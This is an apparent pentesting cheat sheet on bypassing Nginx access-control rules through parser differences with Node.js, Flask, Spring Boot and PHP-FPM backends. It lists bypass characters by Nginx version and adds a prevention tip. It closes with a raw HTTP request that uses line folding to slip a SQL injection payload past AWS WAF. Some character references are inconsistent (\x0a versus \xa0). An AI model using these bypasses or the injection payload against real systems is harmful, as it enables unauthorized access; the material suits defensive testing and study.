Proxy / WAF Protections Bypass

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Bypassing Nginx ACL Rules

Nginx restriction example:

location = /admin {
    deny all;
}

location = /admin/ {
    deny all;
}

NodeJS

As Nginx includes the character \xa0 as part of the pathname, the ACL rule for the /admin URI will not be triggered. Consequently, Nginx will forward the HTTP message to the backend;
When the URI /admin\x0a is received by the Node.js server, the character \xa0 will be removed, allowing successful retrieval of the /admin endpoint.

Nginx Version	Node.js Bypass Characters
1.22.0	`\xA0`
1.21.6	`\xA0`
1.20.2	`\xA0`, `\x09`, `\x0C`
1.18.0	`\xA0`, `\x09`, `\x0C`
1.16.1	`\xA0`, `\x09`, `\x0C`

Flask

Flask removes the characters \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B, and \x09 from the URL path, but NGINX doesn't.

Nginx Version	Flask Bypass Characters
1.22.0	`\x85`, `\xA0`
1.21.6	`\x85`, `\xA0`
1.20.2	`\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B`
1.18.0	`\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B`
1.16.1	`\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B`

Spring Boot

Below, you will find a demonstration of how ACL protection can be circumvented by adding the character \x09 or at the end of the pathname:

Nginx Version	Spring Boot Bypass Characters
1.22.0	`;`
1.21.6	`;`
1.20.2	`\x09`, `;`
1.18.0	`\x09`, `;`
1.16.1	`\x09`, `;`

PHP-FPM

Let's consider the following Nginx FPM configuration:

location = /admin.php {
    deny all;
}

location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

It's possible to bypass it accessing /admin.php/index.php:

How to prevent

To prevent these issues, you must use the ~ expression Instead of the = expression on Nginx ACL rules, for example:

COPYCOPY

location ~* ^/admin {
    deny all;
}

Bypassing AWS WAF ACL With Line Folding

It's possible to bypass AWS WAF protection in a HTTP header by using the following syntax where the AWS WAF won't understand X-Query header contains a sql injection payload while the node server behind will:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

References

https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies